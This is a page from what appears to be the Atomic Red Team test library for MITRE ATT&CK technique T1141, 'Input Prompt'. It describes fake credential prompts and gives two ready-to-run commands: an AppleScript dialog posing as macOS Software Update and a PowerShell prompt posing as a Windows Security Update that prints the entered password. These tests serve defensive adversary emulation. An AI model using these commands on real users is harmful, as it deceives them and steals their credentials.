Skip to content

Latest commit

 

History

History
48 lines (27 loc) · 2.38 KB

T1141.md

File metadata and controls

48 lines (27 loc) · 2.38 KB

T1141 - Input Prompt

When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1088)).

Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as AppleScript(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware) and PowerShell(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015).

Atomic Tests


Atomic Test #1 - AppleScript - Prompt User for Password

Prompt User for Password (Local Phishing) Reference: http://fuzzynop.blogspot.com/2014/10/osascript-for-local-phishing.html

Supported Platforms: macOS

Run it with sh!

osascript -e 'tell app "System Preferences" to activate' -e 'tell app "System Preferences" to activate' -e 'tell app "System Preferences" to display dialog "Software Update requires that you type your password to apply changes." & return & return  default answer "" with icon 1 with hidden answer with title "Software Update"'


Atomic Test #2 - PowerShell - Prompt User for Password

Prompt User for Password (Local Phishing) as seen in Stitch RAT.

Reference: https://github.com/nathanlopez/Stitch/blob/master/PyLib/askpass.py

Supported Platforms: Windows

Run it with command_prompt!

powershell.exe -command {$cred = $host.UI.PromptForCredential('Windows Security Update', '',[Environment]::UserName, [Environment]::UserDomainName); echo $cred.GetNetworkCredential().Password;}